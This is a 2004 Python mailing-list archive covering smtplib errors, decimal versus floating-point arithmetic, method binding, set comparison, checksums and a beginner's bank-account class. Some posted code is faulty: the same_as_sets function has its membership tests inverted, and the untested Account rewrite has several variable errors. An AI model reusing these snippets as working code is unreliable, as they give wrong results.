Close) Date: Fri, 17 Sep 2004 15:58:10 -0500 Subject: smtplib (111, 'Connection refused') In-Reply-To: <ZtqdnZb0ScD229bcRVn-iA@powergate.ca> References: <mailman.3467.1095448992.5135.python-list@python.org> <ZtqdnZb0ScD229bcRVn-iA@powergate.ca> Message-ID: <4a0cafe204091713587ba4e3d7@mail.gmail.com> import smtplib mail = smtplib.SMTP('localhost') mail.send('me','user at domain.tld','message goes here') mail.quit() but this fails at the smtplib.SMTP() line on one box, but not on another. -Josh On Fri, 17 Sep 2004 16:17:47 -0400, phansen <peter at engcorp.com> wrote: > Josh Close wrote: > > I'm using the smtplib module and I keep getting this error: (111, > > 'Connection refused') What could be causing this? I've tried it from a > > different computer and it seems to work, but not from this specific > > server. If port 25 was blocked for some reason, would that give me a > > 'connection refused' error? > > Please show a snippet of the code you are using, so we can > see what you are trying to do here. > > > -- > http://mail.python.org/mailman/listinfo/python-list > From aleaxit at yahoo.com Sun Sep 19 12:41:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 18:41:49 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> Message-ID: <1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com> Chris S. <chrisks at NOSPAM.udel.edu> wrote: ... > Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this Of course it doesn't. What a silly assertion. > arithmetic is meant for. Any decimal can be represented by a fraction, And pi can't be represented by either (if you mean _finite_ decimals and fractions). > yet not all fractions can be represented by decimals. My point is that > such simple accuracy should be supported out of the box. In Python 2.4, decimal computations are indeed "supported out of the box", although you do explicitly have to request them (the default remains floating-point). In 2.3, you have to download and use any of several add-on packages (decimal computations and rational ones have very different characteristics, so you do have to choose) -- big deal. > > While I'd love to compute with all those numbers in infinite > > precision, we're all stuck with FINITE sized computers, and hence with > > the inaccuracies of finite representations of numbers. > > So are our brains, yet we somehow manage to compute 12.10 + 8.30 > correctly using nothing more than simple skills developed in Using base 10, sure. Or, using fractions, even something that decimals would not let you compute finitely, such as 1/7+1/6. > grade-school. You could theoretically compute an infinitely long > equation by simply operating on single digits, Not in finite time, you couldn't (excepting a few silly cases where the equation is "infinitely long" only because of some rule that _can_ be finitely expressed, so you don't even have to LOOK at all the equation to solve [which is what I guess you mean by "compute"...?] it -- if you have to LOOK at all of the equation, and it's infinite, you can't get done in finite time). > yet Python, with all of > its resources, can't overcome this hurtle? The hurdle of decimal arithmetic, you mean? Download Python 2.4 and play with decimal to your heart's content. Or do you mean fractions? Then download gmpy and ditto. There are also packages for symbolic computation and even more exotic kinds of arithmetic. In practice, with the sole exception of monetary computations (which may often be constrained by law, or at the very least by customary practice), there is no real-life use in which the _accuracy_ of floating point isn't ample. There are nevertheless lots of traps in arithmetic, but switching to forms of arithmetic different from float doesn't really make all the traps magically disappear, of course. > However, I understand Python's limitation in this regard. This > inaccuracy stems from the traditional C mindset, which typically > dismisses any approach not directly supported in hardware. As the FAQ Ah, I see, a case of "those who can't be bothered to learn a LITTLE history before spouting off" etc etc. Python's direct precursor, the ABC language, used unbounded-precision rationals. As a result (obvious to anybody who bothers to learn a little about the inner workings of arithmetic), the simplest-looking string of computations could easily consume all the memory at your computer's disposal, and then some, and apparently unbounded amounts of time. It turned out that users object, most of the time, to having some apparently trivial computation take hours, rather than seconds, in order to be unboundedly precise rather than, say, precise to "just" a couple hundred digits (far more digits than you need to count the number of atoms in the Galaxy). So, unbounded rationals as a default are out -- people may sometimes SAY they want them, but in fact, in an overwhelming majority of the cases, they actually do not (oh yes, people DO lie, first of all to themselves:-). As for decimals, that's what a very-high level language aiming for a niche very close to Python used from the word go. It got started WAY before Python -- I was productively using it over 20 years ago -- and had the _IBM_ brand on it, which at the time pretty much meant the thousand-pounds gorilla of computers. So where is it now, having had all of these advantages (started years before, had IBM behind it, AND was totally free of "the traditional C mindset", which was very far from traditional at the time, particularly within IBM...!)...? Googlefight is a good site for this kind of comparisons... try: <http://www.googlefight.com/cgi-bin/compare.pl?q1=python&q2=rexx &B1=Make+a+fight%21&compare=1&langue=us> and you'll see...: """ Number of results on Google for the keywords python and rexx: python (10 300 000 results) versus rexx ( 419 000 results) The winner is: python """ Not just "the winner", an AMAZING winner -- over TWENTY times more popular, despite all of Rexx's advantages! And while there are no doubt many fascinating components to this story, a key one is among the pearls of wisdom you can read by doing, at any Python interactive prompt: >>> import this and it is: "practicality beats purity". Rexx has always been rather puristic in its adherence to its principles; Python is more pragmatic. It turns out that this is worth a lot in the real world. Much the same way, say, C ground PL/I into the dust. Come to think of it, Python's spirit is VERY close to C (4 and 1/2 half of the 5 principles listed as "the spirit of C" in the C ANSI Standard's introduction are more closely followed by Python than by other languages which borrowed C's syntax, such as C++ or Java), while Rexx does show some PL/I influence (not surprising for an IBM-developed language, I guess). Richard Gabriel's famous essay on "Worse is Better", e.g. at <http://www.jwz.org/doc/worse-is-better.html>, has more, somewhat bitter reflections in the same vein. Python never had any qualms in getting outside the "directly supported in hardware" boundaries, mind you. Dictionaries and unbounded precision integers are (and have long been) Python mainstays, although neither the hardware nor the underlying C platform has any direct support for either. For non-integer computations, though, Python has long been well served by relying on C, and nowadays typically the HW too, to handle them, which implied the use of floating-point; and leaving the messy business of implementing the many other possibly useful kinds of non-integer arithmetic to third-party extensions (many in fact written in Python itself -- if you're not in a hurry, they're fine, too). With Python 2.4, somebody finally felt enough of an itch regarding the issue of getting support for decimal arithmetic in the Python standard library to go to the trouble of scratching it -- as opposed to just spouting off on a mailing list, or even just implementing what they personally needed as just a third-party extension (there are _very_ high hurdles to jump, to get your code into the Python standard library, so it needs strong motivation to do so as opposed to just releasing your own extension to the public). > states, this problem is due to the "underlying C platform". I just find > it funny how a $20 calculator can be more accurate than Python running > on a $1000 Intel machine. You can get a calculator much cheaper than that these days (and "intel machines" not too out of the mainstream for well less than half, as well as several times, your stated price). It's pretty obvious that the price of the hardware has nothing to do with that "_CAN_ be more accurate" issue (my emphasis) -- which, incidentally, remains perfectly true even in Python 2.4: it can be less, more, or just as accurate as whatever calculator you're targeting, since the precision of decimal computation is one of the aspects you can customize specifically... Alex From Scott.Daniels at Acm.Org Mon Sep 13 14:46:31 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Mon, 13 Sep 2004 11:46:31 -0700 Subject: Binding? problem In-Reply-To: <ci4h9b02cgg@enews2.newsguy.com> References: <cht54g0jhl@enews1.newsguy.com> <4144ac84$1@nntp0.pdx.net> <ci4h9b02cgg@enews2.newsguy.com> Message-ID: <4145efdd$1@nntp0.pdx.net> Josh English wrote: > What I want to do is have a class method that takes methods from one > class and applies them to the class instance, overriding the 'self' in > the method from the Library class to the Runner class. There _is_ an issue of methods knowing what class they were bound in. However, if you are willing to use staticmethod: # Using curry (someday to show as functional.partial) as defined in: # <http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52549> import new def curry(*args, **okwargs): assert args if okwargs: def curried(*iargs, **ikwargs): if ikwargs: kwargs = okwargs.copy() kwargs.update(ikwargs) else: kwargs = okwargs return args[0](*(args[1:] + iargs), **kwargs) return curried assert len(args) >= 2 if len(args) == 2: return new.instancemethod(args[0], args[1], object) if len(args) <= 1: return args[0] ## The following runs in the wrong order ## return new.function(args[0].func_code, ## args[0].func_globals, argdefs=args[1:]) def scurried(*iargs, **kwargs): return args[0](*(args[1:] + iargs), **kwargs) return scurried class S(object): def __init__(self, value): self.value = value def __repr__(self): return '%s(%r)' % (self.__class__.__name__, self.value) # Python 2.3 (and 2.2?) synax: class Library(object): # Cannot have "true" methods -- must be normal functions def do_this(self): self.s.value = 'this' do_this = staticmethod(do_this) # Python 2.4 syntax: # class Library(object): # # Cannot have "true" methods -- must be normal functions # @staticmethod # def do_this(self): # self.s.value = 'this' class Runner(object): def __init__(self): self.s = S('whock') def imports(self, library): for name in dir(library): if not name.startswith('_'): value = getattr(library, name) if callable(value): setattr(self, name, curry(value, self)) def __repr__(self): return '<%s %s>' % (self.__class__.__name__, self.s) -Scott David Daniels Scott.Daniels at Acm.Org From benevilent at optusnet.com.au Sun Sep 19 22:52:24 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Mon, 20 Sep 2004 12:52:24 +1000 Subject: memory allocation References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au> <pan.2004.09.19.18.28.33.473150@optusnet.com.au> <wKKdnQdfZYYRsdPcRVn-uQ@lmi.net> Message-ID: <pan.2004.09.20.02.50.25.510094@optusnet.com.au> On Sun, 19 Sep 2004 18:02:08 -0700, David Pokorny wrote: > <benevilent at optusnet.com.au> wrote in message > news:pan.2004.09.19.18.28.33.473150 at optusnet.com.au... >> My latest understanding is that the default memory allocation will result >> in arenas being created to fulfill the maximum memory requirements of the > > This is all correct, but you're probably attacking the problem from the hard > end. Perhaps > some C code has forgotten to DECREF a dead object. See section 1.10 of > > http://docs.python.org/ext/ext.html > Hey, Thanks for the response. As established earlier I have determined that this is not the case. Is it possible to change the memory allocation scheme of Python so that I can confirm this? Thanks, Laurie From bradtilley at usa.net Mon Sep 13 09:49:02 2004 From: bradtilley at usa.net (Brad Tilley) Date: Mon, 13 Sep 2004 09:49:02 -0400 Subject: read all available pages on a Website In-Reply-To: <1gk1tjf.17snajnnn5g3aN%aleaxit@yahoo.com> References: <ci2qnl$2jq$1@solaris.cc.vt.edu> <pheak01mo1ti6usa1sl2a4g801bik9o5h8@4ax.com> <2ql2m9F10da10U1@uni-berlin.de> <1gk1tjf.17snajnnn5g3aN%aleaxit@yahoo.com> Message-ID: <ci48ge$agm$1@solaris.cc.vt.edu> Alex Martelli wrote: > Leif K-Brooks <eurleif at ecritters.biz> wrote: > > >>Tim Roberts wrote: >> >>>Brad Tilley <bradtilley at usa.net> wrote: >>> >>> >>>>Is there a way to make urllib or urllib2 read all of the pages on a Web >>>>site? >>> >>>By the way, there are many web sites for which this sort of behavior is not >>>welcome. >> >>Any site that didn't want to be crawled would most likely use a >>robots.txt file, so you could check that before doing the crawl. > > > Python's Tools/webchecker/ directory has just the code you need for all > of this. The directory is part of the Python source distribution, but > it's all pure Python code, so, if your distribution is binary and omits > that directory, just download the Python source distribution, unpack it, > and there you are. > > > Alex Thank you, this is ideal. From shevitz at lanl.gov Wed Sep 22 19:19:31 2004 From: shevitz at lanl.gov (Danny Shevitz) Date: Wed, 22 Sep 2004 17:19:31 -0600 Subject: good way to do side effects on lists? Message-ID: <415208a1$1_4@news3.es.net> Howdy, A minor stylistic question: Is there a better way to do: for thing is myList: myFunc(thing) map is close, but returns a list, which is wasted. I'm purely using side effects and the lists are large. thanks, Danny From aleaxit at yahoo.com Thu Sep 9 04:18:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 10:18:31 +0200 Subject: Set and {} comparison confusion References: <mailman.3079.1094716024.5135.python-list@python.org> Message-ID: <1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com> Roman Yakovenko <roman.yakovenko at actimize.com> wrote: > Thanks. I have an other question, more general: > > I have class A that defines __eq__ and __ne__. > I have 2 lists of instances of A > > What is the right way to find out whether those lists > are equal (as sets) or not? > > Thanks for help If instances of class A are not hashable, there is unfortunately no fast way. Tim Peters, in the Python Cookbook (first edition), shows an elaborate way to turn a list into a list of unique elements which is as fast as feasible depending on the list elements' properties, which the recipe discovers automatically by fielding errors raised by usage that the list items don't support -- but even that would be thrown off the rails if the instances of A _appear_ to be hashable but violate the key semantic constraint (equality of instance MUST imply equality of hash). I assume from your specific mention of __eq__ and __ne__ that you can't even SORT a list of such instances -- that they don't define __lt__ or define it in such ways as to violate the key semantic constraint on THAT operation -- so you can't even use the second-best approach (after hashing), which starts with sorting. Under such dire, horrible conditions you will have to resort to the extremely slow approach, O(M*N) where M and N are the lengths of the two lists -- at least it can be expressed simply...: def same_as_sets(onelist, another): for item in onelist: if item in another: return False for item in another: if item in onelist: return False return True It's horrible, but then that class appears to be designed to fight against attempts to solve this problem more smartly, at least extrapolating from what little you tell us about it. Alex From daniel at dittmar.net Fri Sep 17 15:38:21 2004 From: daniel at dittmar.net (Daniel Dittmar) Date: Fri, 17 Sep 2004 21:38:21 +0200 Subject: [OT] tabbed command line window? WAS Re: Ranting about the state of Python IDEs for Windows In-Reply-To: <e4eaecf8.0409170833.44be4a71@posting.google.com> References: <e4eaecf8.0409170833.44be4a71@posting.google.com> Message-ID: <2r0sqbF150qtmU1@uni-berlin.de> Jon Nicoll wrote: > some comments in the earlier thread about tabbed windows with VIM > reminded me of a scratch I'd like to itch: does anyone know of a > tabbed command line utility for Win32? I'd like something like > KDEterm, where you can have multiple tabbed command line 'sessions' in > a single window, just switching between the tabs as desired. No real answer, but: - XP has the capability to group 'like' windows under one menu in the taskbar - eConsole (http://www.corion.net/econsole/index.html) puts a graphic frontend on console windows. The author did this to provide background windows, but it can probably extended to add tabs. It is written in Delphi and source is available. - Take Command (http://jpsoft.com/tcmddes.htm) is a commercial utility that provides a GUI interface to console windows. They haven't tabs either, but maybe they are planning them. Daniel From godoy at ieee.org Fri Sep 17 12:48:23 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 17 Sep 2004 13:48:23 -0300 Subject: Economic considerations References: <mailman.3318.1095180577.5135.python-list@python.org> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us> <m3acvp38zv.fsf@g2ctech.com> <mailman.3458.1095434948.5135.python-list@python.org> Message-ID: <m3pt4kyh7s.fsf@g2ctech.com> Carlos Ribeiro <carribeiro at gmail.com> writes: > While true to a certain extent, this is not the problem. As I've > mentioned in another thread, this is a case where the closed source > application is simply superior in technical terms. It's not only > packaging -- it works better, more efficiently, and has better > algorithms specially when it comes to color mapping between devices, > and anything that involves perceptual color models and management. Patents are a problem. All the rest is not. There are several good designers and programmers on free software and that support the idea. > With all respect, this is not FUD. It's based on fact. In *many* cases > the OS app is not conveniently packaged. Part of this is that most > people that use OS apps are used to (and even like) having to glue > everything together. In many cases yes, in many other no. The problem -- and the reason why I called this FUD -- is the generalization. > No we're going completely offtopic, but anyway, why not? :-) I think > everyone can relate with a joke about cars and people that work with > cars. Often we see people that work everyday with cars -- specially > mechanics -- driving cars that, from any reasonably perspective, are a > complete mess. Doors hanging semi-opened are not unheard of :-). But > the car works, and his owner actually likes that mess. I think we can > see some of this in OS apps. Those who know how they are implemented > derive a certain pleasure from the fact that they can look at the > inside whenever they can, mess up with settings, and stuff like that. > Those who want a car -- or an OS, or an application -- only for actual > use doesn't like this, and prefer something nicely packaged, that > hides all details, and simply works, and don't embarass them in front > of friends and family :-). There are several apps whose only purpose is to provide a nice GUI to glue those tools together. If your OS (or Linux distribution) provides a nice package management system, then you also don't have to worry with dependencies. I don't think of free software as a mess in its code. There are very nice examples of very well written software. On the other hand, I've seen commercial software with closed source code that is worse than spaghetti code, and since it is closed, nobody sees it :-) Also, I've read terrible workarounds by developers of closed source code in mailing lists. Your program will not be different just because it is free software/open source. It will be different if you are organized or not. Open source software, IMNSHO, makes people write better code because this is how they will present themselves to the world. If they can hide their mess, they won't be too worried with it. And, thanks God, there's no "one size fits all" solution. People like us will be hired to fix code, to fix problems and to glue things together. :-) -- Godoy. <godoy at ieee.org> From http Tue Sep 28 05:20:31 2004 From: http (Paul Rubin) Date: 28 Sep 2004 02:20:31 -0700 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> <m2lleusrgo.fsf@mycroft.actrix.gen.nz> Message-ID: <7xis9yoilc.fsf@ruckus.brouhaha.com> Paul Foley <see at below.invalid> writes: > The "perfect solution" is either: (a) to print the minimal number of > digits that can maintain print/read consistency -- in this case, that > means printing "0.66", Nah, you can do that by printing everything as zero. From mwh at python.net Thu Sep 2 09:21:09 2004 From: mwh at python.net (Michael Hudson) Date: Thu, 2 Sep 2004 13:21:09 GMT Subject: negative stride list slices References: <8a638f47.0409010941.7f1cbbad@posting.google.com> Message-ID: <m3n008g62j.fsf@pc150.maths.bris.ac.uk> dave at boost-consulting.com (David Abrahams) writes: > Can anyone explain the logic behind the behavior of list slicing with > negative strides? You can read PySlice_GetIndicesEx in Objects/sliceobject.c if you're really keen... > For example: > > >>> print range(10)[:-3:-1] > [9,8] > > I found this result very surprising, What would you have expected instead? range(10-1, 10-3, -1) == [9,8] was my guiding principle when I wrote the code. > and would just like to see the rules written down somewhere. It seems to be hardly any easier to write the rules than to write the algorithm, in practice... In practice, I only ever use negative strides as "[::-1]", the result of which hopefully surprises noone. Cheers, mwh -- <glyph> yo ho ho and a bottle of internet -- from Twisted.Quotes From sjdevnull at yahoo.com Wed Sep 29 16:49:47 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 29 Sep 2004 13:49:47 -0700 Subject: Optimizing tips for os.listdir References: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com> <slrnclg6vb.rjj.nick@irishsea.home.craig-wood.com> <96c2e938.0409271432.23a2b877@posting.google.com> Message-ID: <96c2e938.0409291249.1cf7afa9@posting.google.com> sjdevnull at yahoo.com (G. S. Hayes) wrote in message news:<96c2e938.0409271432.23a2b877 at posting.google.com>... > Nick Craig-Wood <nick at craig-wood.com> wrote in message news:<slrnclg6vb.rjj.nick at irishsea.home.craig-wood.com>... > > Under a unix based OS the above will translate to 1 > > opendir()/readdir()/closedir() and 1 stat() for each file. There > > isn't a quicker way in terms of system calls AFAIK. > > Under Linux, readdir() returns a struct dirent that has a d_type > member indicating the file type (DT_DIR for directories) so you can > avoid calling stat() on each file. I thought some BSD systems did > this as well. Offtopic since it's really not Python related, (though I guess Python might want to consider exposing this functionality in a portable way eventually): As a quick followup, with 10000 files on my machine it takes about twice as long to use stat to get this information as to access the d_type field. And it costs an extra 10000 syscalls (the d_type one is about 93 syscalls total, mostly standard program startup/shutdown costs like mapping in shared libs, flushing output on exit, etc). On the other hand, they both execute in under a second. So for most programs the difference in speed is probably negligible, and the programming cost of portably choosing which method you want to use probably isn't worth it in general (I could maybe see it for specialized applications). From jepler at unpythonic.net Thu Sep 9 09:56:33 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 9 Sep 2004 08:56:33 -0500 Subject: Shorter checksum than MD5 In-Reply-To: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be> References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be> Message-ID: <20040909135632.GG19306@unpythonic.net> If you have a good cryptographic hash function then picking any N bits from it should be just as good as any other N bits. sha and md5 were designed with cryptographic needs in mind, while CRC wasn't (it's designed to detect spurious bit errors in noisy transmission media, which tend to have particular properties), but collisions have now been found in md5 which means most people would not recommend its use in new software. I would choose SHA at this point, even though new research implies it may be weak too. (an attack on a simplified version of SHA can produce collisions) On the other hand, if your database replication app doesn't have a threat model where an attacker would want to deliberately make the two sites out of sync, a cryptographically weak hash might still be acceptable. For your application, you should consider the total number of records you ever expect to have, and use more than 2 * lg(records) bits of hash. Due to the so-called "birthday paradox", when you have N possible hash values, two will be identical with 50% probability with around sqrt(N) items. You'd probably prefer that the probability be much lower in your application, since a collision will result in incorrect results. You might consider some way to group records together, so that it's not a hash per 70-byte record, but a hash per N 70-byte records. Or you might skip this approach and implement transactions which can be stored and played to the second server when they sync up. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/1111b419/attachment.sig> From aleaxit at yahoo.com Tue Sep 28 11:42:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 17:42:16 +0200 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> Message-ID: <1gku3dq.1ujg35u1x7p9hmN%aleaxit@yahoo.com> Ling Lee <janimal at mail.trillegaarden.dk> wrote: > Hello. Hi! I suspect (from your name and address) that English is not your mother tongue (it ain't mine, either), so I hope you'll appreciate some suggestions in the following about natural language as well as Python. > I'm trying to write a small program that lets you put in a number as an > integer and then it tells you the textuel representation of the number. "Textual". > Like if your input is 42, it will say four two. Ah, "Digit by digit". The "textual representation of 42" would be "fortytwo" -- a harder problem than outputting "four two". > I found out that I have to make a dictionary like this: List = { 1:"one", > 2:"two" and so on ) Yes, such a dict is one possibility (no "have to", really, since there ARE quite practicable alternatives), but [a] don't name it List, that's WAY confusing, and [b] you may consider using as keys the digit strings rather than the corresponding numbers, e.g '1' instead of 1 and so on, it might simplify your coding. Still, let's assume that this thing IS what you have, one way or another. > and I have to use the raw_input method to get the number: You don't HAVE to (you could obtain it in other ways) but, sure, it's one possibility. (Maybe you overuse "have to" a bit...?) > > indput : raw_input(" Tell me the number you want to transform to textuel > representaion") No doubt you mean to use an equals-sign here, not a colon, since you are assigning the result of raw_input to your variable 'indput' (VERY confusing name, again). > The I have to transform the input to a string > indput = str(indput) Not at all, this is a "no-operation", since the result of raw_input IS a string already. > so that I can count how many decimals the number has, like 23 has 2 decimals > and 3000 has 4 decimals. "digits". When you say a number has "2 decimals" this would normally be interpreted as meaning "two digits after the decimal point", something like "27.12". But I don't see why you would care, anyway. Rather, try checking indput.isdigit() to verify all of the chararacters are digits. > After I have gotten the lenght of the string, I will write a loop, that goes > through the dictionary as many times as the lengt of the string, and the > gives me the corresponding numbers, the numner 21 would go 2 times through > the loop and give me the output two one Nah, loop on the string directly, that will give you one character at a time in order. No need to worry about lengths, number of times through, etc. Just "for c in indput: ...", that's all. > Will one of you be so kind and tell me how I count the lengt of the indput > number i was thinking on something like input.count[:] but that dosnt > work... That would be len(indput), but you don't need it. > > and how I make the loop. You do it with a 'for' statement as above, no worry about the length. > Im trying to understand dictionaries but have gotten a bit stuck... > > Thanks for all replies.... The Tutor list might be very helpful to you. Happy studying! Alex From dperl at rogers.com Thu Sep 2 11:05:28 2004 From: dperl at rogers.com (Dan Perl) Date: Thu, 02 Sep 2004 15:05:28 GMT Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com> <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> <1gjg9tm.14a3nqg36zs8fN%aleaxit@yahoo.com> Message-ID: <YEGZc.168142$UTP.67432@twister01.bloor.is.net.cable.rogers.com> "Alex Martelli" <aleaxit at yahoo.com> wrote in message news:1gjg9tm.14a3nqg36zs8fN%aleaxit at yahoo.com... ........ > Incidentally, FAR from your assertion that, in C++, "subclasses don't > need to know anything about how the superclass is implemented", reality > is just the other way 'round. Subclasses have to be _intimately > familiar_ with key aspects of superclasses' implementation -- not just > the interface (which fully includes the "little detail" of whether a > class has a default ctor or not!!!), but specifically _implementation_ > issues, such as what private member names the superclass uses for its > own implementation purposes. That's because C++ fatally tries to > support encapsulation via _accessibility_, NOT through _visibility_. If > the subclass unwittingly tries using a member name which the superclass > is already using privately, it just won't compile; if the superclass > adds any private names to its implementation from one release to > another, it will "break all user code" which quite correctly tried to > use that name (and previously managed w/o problems!) for one of its > members -- as you say. No, Alex. Data members in a C++ subclass cannot conflict with data members in its superclass, public, protected, or private. They are resolved by their namespaces. See an example: #include <iostream> class Class1 { public: void setM1(int arg) {m1=arg;} void getM1( ) {std::cout << "c1m1: " << m1 << std::endl;} private: int m1; }; class Class2 : public Class1 { public: void setM1(int c1m1, int c2m1) {Class1::setM1(c1m1); m1=c2m1;} void getM1( ) {Class1::getM1( ); std::cout << "c2m1: " << m1 << std::endl;} private: int m1; }; int main(int argc, char **argv) { Class2 c2 = Class2( ); c2.setM1(1, 9); c2.getM1( ); } > Here it is -- now feel free to damage yourself at will with your > conviction that this (calling superclass ctors) "IS a case" where > implicit is better. I decided I can reuse this as a Cookbook recipe, > after all!-) I'll look at the metaclass example later. Thanks. Dan From bokr at oz.net Thu Sep 30 20:36:40 2004 From: bokr at oz.net (Bengt Richter) Date: 1 Oct 2004 00:36:40 GMT Subject: python vs c# References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com> <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com> <7E_6d.33917$35.1643590@news4.tin.it> Message-ID: <cji8qo$qro$0$216.39.172.122@theriver.com> On Thu, 30 Sep 2004 21:11:31 GMT, Anna Martelli Ravenscroft <anna at aleax.it> wrote: >Christos TZOTZIOY Georgiou wrote: >> On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com >> (Alex Martelli) might have written: >> >> >>>>Well, not to feed the troll, but there is a few relevant points in it's >>>>posting. >>> >>>(Please, please, please: "its", not "it's"... pretty please...) >> >> >> (Late reply that maybe can make one smile) >> >> Alex, you are 99% correct. Leave a 1% chance that Max referred to >> "julio" as "it"... :) Trolls are genderless! > > >Sorry, Christos. Alex was correct: "its" is the appropriate usage here. >"it's" is a contraction of "it is", and NOT the possessive form of it. >Furthermore, Alex was quite kind in *not* correcting the mismatch >between the singular form of the verb "is" and the plural noun "points". > I, otoh, am not so generous. > >The sentence *should* have read: >"Well, not to feed the troll, but there are a few relevant points in its >posting." > I almost posted a similar comment ;-) OTOH ... How many relevant points do you need to start a debate? How would you answer that question? A few is enough? A few are enough? A few relevant points suffices, or a few relevant points suffice? A small number suffices, or a small number suffice? A dozen is sufficient? A dozen are sufficient? I suspect that there are some semantic subtleties at work. I.e., when you focus mentally on the few points as a single collection, the singular forms feel right, but when you focus on the few points as separate entities, plural forms feel right. Thus you want the verb (e.g.,is/are) to agree numerically with _some entities_, or with _a collection_, according to your focus. I think some sentences can be read either way, depending on which way your attention is directed (e.g. by word order and discourse context etc.) "A few" can work as noun or adjective, it seems. I like words too ;-) Regards, Bengt Richter From lbates at swamisoft.com Thu Sep 9 09:41:09 2004 From: lbates at swamisoft.com (Larry Bates) Date: Thu, 9 Sep 2004 08:41:09 -0500 Subject: writing a class References: <29179565.0409071136.4147591f@posting.google.com> <oKKdnUmLvus3j6PcRVn-gQ@comcast.com> <29179565.0409081015.5c7a8e9d@posting.google.com> Message-ID: <BJKdnfYoztnswN3cRVn-oA@comcast.com> With a few changes this will work. from datetime import date import sys class Account: # # Make initial a keyword argument so that it is # optional. If not given, begin with zero. # def __init__(self, initial=0.0): self.balance = initial def deposit(self, amt): # # You were referencing global balance # (not self.balance) before. # self.balance+=amt def withdraw(new, amt): self.balance-=amt def getbalance(self): return self.balance if __name__== "__main__": # # Main program begins here # a = Account() # or a=Account(initial=0.0) now = date.today() # # Loop until you get a good starting balance # badtbal=1 while badtbal: # # Input comes in as text, must try to convert to # a float. # tbal=input("Enter amount of starting balance (blank to stop): $") if not tbal: sys.exit(0) try: bal=float(tbal) except: print "Bad starting balance=%s" % tbal print "You must enter starting balance like 100.00" continue badtbal=0 a=Account(initial=bal) badtdpst=1 while badtdpst: tdpst = input("Enter amount of deposit (blank to stop): $") if not tdpst: sys.exit(0) try: dpst=float(tbal) except: print "Bad deposit=%s" % tdpst print "You must enter deposits like 100.00" continue badtdpst=0 a.deposit(dpst) badtwdrw=1 while badtwdrw: twdrw = input("Enter amount of withdrawal (blank to stop): $") if not wdrw: sys.exit(0) try: wdrw=float(twdrw) except: print "Bad withdrawal=%s" % twdrw print "You must enter withdrawals like 100.00" continue badtwdrw=0 a.witdraw(wdrw) print "As of",now,"balance is $",a.getbalance() As with most programming projects you need to include more code to try to catch input errors from the user than to actually solve the problem. This wasn't test, but I'll bet it is close to working. Hope it helps, Larry Bates Syscon, Inc. "Crypt Keeper" <crypt_keeper at rome.com> wrote in message news:29179565.0409081015.5c7a8e9d at posting.google.com... > It's a simple bank-type transaction program. User needs to input > initial starting balance, amount of deposits, amount of withdrawals. > Program needs to do the appropriate math and return status update > showing new balance, total deposits and total withdrawals. > > I keep coming up with 2 different results...1 returns an error message > and the other finishes the program but the mathmematics is wrong (it > does not compute deposits and withdrawlas. It only returns intial > balance as new balance.) > > Code for error message return is: > > (formal code) > from Account import Account > from datetime import date > > a = Account() > now = date.today() > > print "As of",now,"balance is $",a.getbalance() > > (class code) > class Account: > > def __init__(self, initial): > self.balance = initial > def deposit(self, amt): > self.balance = balance + amt > def withdraw(new, amt): > self.balance = balance - amt > def getbalance(self): > return self.balance > > Error message that gets returned is: > > Traceback (most recent call last): > File "C:\Python23\Module1a.py", line 4, in -toplevel- > a = Account() > TypeError: __init__() takes exactly 2 arguments (1 given) > > > > The code that returns new balance only is: > > (class code) > class Account: > > def __init__(self, balance): > self.balance = balance > def deposit(self, deposit): > self.balance = self.balance + deposit > def withdraw(self, withdraw): > self.balance = self.balance - withdraw > def getbalance(self, balance): > self.balance = bal + deposit - 